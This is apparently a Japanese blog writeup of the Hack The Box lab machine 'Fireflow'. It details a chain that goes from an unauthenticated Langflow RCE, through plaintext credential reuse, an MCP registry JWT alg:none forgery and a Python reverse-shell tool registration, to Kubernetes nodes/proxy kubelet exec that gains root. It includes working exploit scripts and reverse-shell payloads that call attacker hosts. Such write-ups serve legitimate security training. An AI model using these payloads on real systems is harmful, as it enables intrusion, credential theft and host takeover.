0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【Hack The Box】Writeup: Fireflow

0
Last updated at Posted at 2026-07-30

image.png

はじめに

この記事は、Hack The Boxの「Fireflow」に挑戦した際の手順をまとめたものです。

ポートスキャン

ポート サービス バージョン
22/tcp SSH OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
443/tcp HTTPS nginx

サブドメインの発見

TLS証明書のSANを確認すると*.fireflow.htbというワイルドカード証明書が使われており、サブドメインやvhostの存在が示唆されました。

メインサイトhttps://fireflow.htb/は「FireFlow — Task Force Nightfall」というタイトルの静的なランディングページでしたが、レスポンスヘッダに気になる記述がありました。

X-Frame-Options: ALLOW-FROM https://flow.fireflow.htb

これでサブドメインflow.fireflow.htbの存在が判明しました。さらにページ本文中に公開Flowへのリンクも見つかりました。

https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25

flow.fireflow.htb — Langflowの発見

Hostヘッダをflow.fireflow.htbに指定してアクセスすると、別のアプリケーションが応答しました。タイトルは<title>Langflow</title>です。

  • LangflowはGUIでAIアプリやチャットボットをつくれるオープンソースのツールのようです。
  • /api/v1/versionエンドポイントでバージョンの確認ができます。
curl -k -H "Host: flow.fireflow.htb" https://fireflow.htb/api/v1/version
# → {"version":"1.8.2","main_version":"1.8.2","package":"Langflow"}

脆弱性 — CVE-2026-33017(Langflow 未認証RCE)

  • CVE-2026-33017: Langflowの「Public Flow Build」エンドポイント経由の未認証RCE。影響範囲は1.9.0未満で、1.8.2も脆弱です。
  • 参考: GitHub Security Advisory GHSA-vwmf-pq79-vjvx

脆弱なエンドポイントは以下です。

POST /api/v1/build_public_tmp/{flow_id}/flow

認証は不要で、client_idCookieには任意の値を入れれば通ります。ただし対象のflow_idは「公開(public)」設定になっている必要があります。今回はメインサイトのplaygroundリンクから公開Flow ID 7d84d636-af65-42e4-ac38-26e867052c25 を入手できます。

攻撃には、以下のPoCを利用しました。

今回はターゲットがhttpsなのでコードのsend_payload()関数のrequestsverify=Falseオプションを加え証明書の検証を無効化する必要があります。

def send_payload():
    print(f"[*] Target: {endpoint}")
    print(f"[*] Callback: {args.lhost}:{args.lport}")
    try:
        resp = requests.post(
            endpoint,
            json=build_payload(args.lhost, args.lport),
            cookies={"client_id": "poc"},
            timeout=args.timeout,
            verify=False,
        )

リバースシェルの取得

python exploit.py --url https://flow.fireflow.htb --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.15.243 --lport 4444

攻撃者側でリスナーを立てておくと、無事シェルが返ってきました。

$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.15.243] from (UNKNOWN) [10.129.35.183] 59050
bash: cannot set terminal process group (1224): Inappropriate ioctl for device
bash: no job control in this shell
www-data@fireflow:/var/lib/langflow$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

得られたのはwww-data権限のシェルでした。

認証情報の発見

/homeを確認すると別ユーザーの存在が分かりました。

www-data@fireflow:~$ ls /home
nightfall

Langflowの設定ファイルに平文の認証情報が残っていました。

www-data@fireflow:/etc/langflow$ cat /etc/langflow/.env
LANGFLOW_AUTO_LOGIN=False
LANGFLOW_SUPERUSER=langflow
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
LANGFLOW_CONFIG_DIR=/var/lib/langflow
LANGFLOW_LOG_LEVEL=warning
LANGFLOW_NEW_USER_IS_ACTIVE=False
LANGFLOW_CORS_ORIGINS=https://flow.fireflow.htb,https://fireflow.htb

このパスワードn1ghtm4r3_b4_n1ghtf4llはユーザー名を変えればnightfallユーザーでも通用し、そのままSSHでログインできました。

ssh nightfall@fireflow.htb

user.txtを取得。

nightfall@fireflow:~$ ls
user.txt

ラテラルムーブメント

nightfallではsudo -lが使えず、SUIDバイナリも標準的なもの以外は見当たりませんでした。一方ss -lntuでリスニングポートを確認すると、Kubernetes(k3s)系のポート群(6443, 10250, 10256〜10259等)や、ローカルのみで待ち受ける127.0.0.1:7860といった見慣れないポートが目に入りました。ps auxからも/usr/local/bin/k3s servercontainerd-shim-runc-v2が多数起動しており、このホストがKubernetesクラスタのノードを兼ねていることが分かります。

MCPサーバーの発見

ホームディレクトリを漁っていると、AIツール向けのMCP(Model Context Protocol)サーバーの設定ファイルが見つかりました。

nightfall@fireflow:~$ cat ~/.mcp/config.json
{
  "server": "http://10.129.244.214:30080",
  "status_endpoint": "/api/v1/version",
  "user": "langflow-bot",
  "password": "Langfl0w@mcp2026!"
}

このサーバーはKubernetesのPod間ネットワーク(NodePort:30080)で公開されているMCP AI Tool Registryでした。

curl -s http://10.129.244.214:30080/api/v1/version | python3 -m json.tool
{
    "service": "MCP AI Tool Registry",
    "version": "0.1.0",
    "auth": {
        "type": "JWT",
        "header": "Authorization: Bearer <token>",
        "supported_algorithms": ["HS256", "none"]
    },
    "docs": "/docs",
    "endpoints": [
        "POST /mcp                        [MCP JSON-RPC 2.0]",
        "POST /api/v1/auth",
        "GET  /api/v1/tools",
        "POST /api/v1/tools               [admin]"
    ]
}

ここでsupported_algorithmsnoneが含まれている点が目に留まりました。JWTの署名アルゴリズムにnoneを許可している実装は、署名検証を回避してペイロードを自由に書き換えられる典型的な脆弱性です。

JWT alg: noneによるロール昇格

まずは入手した正規の認証情報でトークンを発行します。

curl -X POST http://10.129.244.214:30080/api/v1/auth \
  -H 'Content-Type: application/json' \
  -d '{"username":"langflow-bot","password":"Langfl0w@mcp2026!"}'
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps","token_type":"bearer"}

ペイロードをデコードすると、ロールがuserであることが分かります。

$ echo 'eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9' | base64 -d
{"sub":"langflow-bot","role":"user"}

$ echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9' | base64 -d
{"alg":"HS256","typ":"JWT"}

roleadminに書き換え、ヘッダのalgnoneにし、署名部分を空にしたJWTを自作します。サーバー側がnoneアルゴリズムを受理する実装であれば、署名検証をスキップしてこのトークンをそのまま信用してしまいます。

署名を偽造するスクリプト

#!/bin/bash
b64url() { base64 -w 0 | tr '+/' '-_' | tr -d '='; }
# base64はデフォルトで76文字ごとに改行を入れるので、-w 0(wrap無効)が必須
header='{"alg":"none","typ":"JWT"}'
payload='{"sub":"langflow-bot","role":"admin"}'

h=$(echo -n "$header"  | b64url)
p=$(echo -n "$payload" | b64url)

forged="${h}.${p}."   # 署名部分は空、末尾のドットが必須
echo "$forged"

MCPツール登録によるRCE

偽造したadminロールを得たJWTを$ADMIN_JWTにセットし、POST /api/v1/tools(admin専用)で任意コードを実行するツールを登録します。ペイロードのcodeの値にpythonのコードを記載することで、RCEとして悪用できます。

curl -s -X POST http://10.129.244.214:30080/api/v1/tools \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $ADMIN_JWT" \
  -d '{
    "name": "shell",
    "description": "debug shell",
    "inputSchema": {"type":"object","properties":{}},
    "code": "import socket,os,pty\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\ns=socket.socket()\ns.connect((\"10.10.17.44\",9001))\n[os.dup2(s.fileno(), i) for i in(0,1,2)]\npty.spawn(\"/bin/sh\")"
  }'
# {"status":"registered","name":"shell"}

登録したツールをMCPのJSON-RPCエンドポイント経由で呼び出すと、リバースシェルが返ってきます。

curl -s -X POST http://10.129.244.214:30080/mcp \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $ADMIN_JWT" \
  -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"shell","arguments":{}}}'
$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.17.44] from (UNKNOWN) [10.129.244.214] 28265
$ id
uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)

これでMCPサーバーPod内にmcpユーザーとしてシェルを得ました。

権限昇格 — Kubernetes nodes/proxy RCE

/var/run/secrets/kubernetes.io/serviceaccount/tokenでPod内にマウントされたServiceAccountトークンを入手します。

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

自分に付与された権限を確認しました

mcp@mcp-server-54464cb475-29ztf:/app$ curl -sk -X POST "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}' \
  | python3 -c "import sys,json
rules = json.load(sys.stdin)['status'].get('resourceRules',[])
for r in rules: print(r)"
{'verbs': ['get'], 'apiGroups': [''], 'resources': ['nodes/proxy']}
{'verbs': ['create'], 'apiGroups': ['authorization.k8s.io'], 'resources': ['selfsubjectaccessreviews', 'selfsubjectrulesreviews']}
{'verbs': ['create'], 'apiGroups': ['authentication.k8s.io'], 'resources': ['selfsubjectreviews']}

nodes/proxyへのget権限が付与されていました。この権限があると、KubeletのAPI(/exec, /run, /portForwardなど)にgetでアクセスできます。Kubelet APIの/execエンドポイントに直接、WebSocketで接続するとハンドシェイクがGETになる仕様のせいで権限チェックをパスしてしまいノード上で任意コマンドを実行できます。これはKubernetesクラスタでよく知られた権限昇格パターンで、以下の記事が参考になります。

特権Podを確認するスクリプト

curl -sk "https://10.129.244.214:10250/pods" \
  -H "Authorization: Bearer $TOKEN" \
  | python3 -c "
import sys, json
data = json.load(sys.stdin)
for item in data['items']:
    ns = item['metadata']['namespace']
    name = item['metadata']['name']
    vols = [v for v in item['spec'].get('volumes', []) if 'hostPath' in v]
    for c in item['spec']['containers']:
        csc = c.get('securityContext', {})
        if csc.get('privileged') and vols:
            paths = [v['hostPath']['path'] for v in vols]
            print(f'[!] PRIVILEGED: {ns}/{name} - container: {c[\"name\"]} - hostPaths: {paths}')
"

結果、monitoring/prometheus-prometheus-node-exporter-nmntqが判明しました。

[!] PRIVILEGED: monitoring/prometheus-prometheus-node-exporter-nmntq - container: node-exporter - hostPaths: ['/proc', '/sys', '/']

得られた情報をつかってkube_exec.pyを作成

# kube_exec.py
#!/usr/bin/env python3
import asyncio, ssl, sys, websockets

NODE = "10.129.244.214"
NE_NS = "monitoring"
NE_POD = "prometheus-prometheus-node-exporter-nmntq"
NE_CNT = "node-exporter"
TOKEN = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read().strip()
COMMAND = sys.argv[1] if len(sys.argv) > 1 else 'id'

async def ws_exec(cmd_parts):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    args = "&".join(f"command={part}" for part in cmd_parts)
    url = (f"wss://{NODE}:10250/exec/{NE_NS}/{NE_POD}/{NE_CNT}" f"?output=1&error=1&{args}")

    async with websockets.connect(
        url, ssl=ctx,
        additional_headers={"Authorization": f"Bearer {TOKEN}"},
        subprotocols=["v4.channel.k8s.io"],
        open_timeout=10
    ) as ws:
        try:
            while True:
                data = await asyncio.wait_for(ws.recv(), timeout=5)
                if isinstance(data, bytes) and len(data) > 1:
                    sys.stdout.write(data[1:].decode("utf-8", errors="replace"))
                    sys.stdout.flush()
        except (asyncio.TimeoutError, websockets.exceptions.ConnectionClosed):
            pass
asyncio.run(ws_exec(COMMAND.split()))

kube_exec.pyを使ってKubeletのexec APIを直接叩き、ホスト(Fireflowマシン本体)上でrootとしてコマンドを実行できることを確認しました。

mcp@mcp-server-54464cb475-29ztf:/tmp$ python3 kube_exec.py "cat /host/root/root/root.txt"

これによりホストのroot権限を取得し、root.txtを回収できました。

おわりに

静的なランディングページのヘッダに残っていたX-Frame-Optionsからサブドメインを辿り、そこで見つかったLangflow 1.8.2の未認証RCE(CVE-2026-33017)でコンテナ侵入、設定ファイルに残った平文パスワードでSSHログイン、さらにMCPサーバーのJWT alg: none検証不備でadmin権限を奪取してRCE、最後はKubernetesのnodes/proxy権限を悪用してクラスタノードのroot権限まで到達する、というかなり長いチェーンのマシーンでした。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?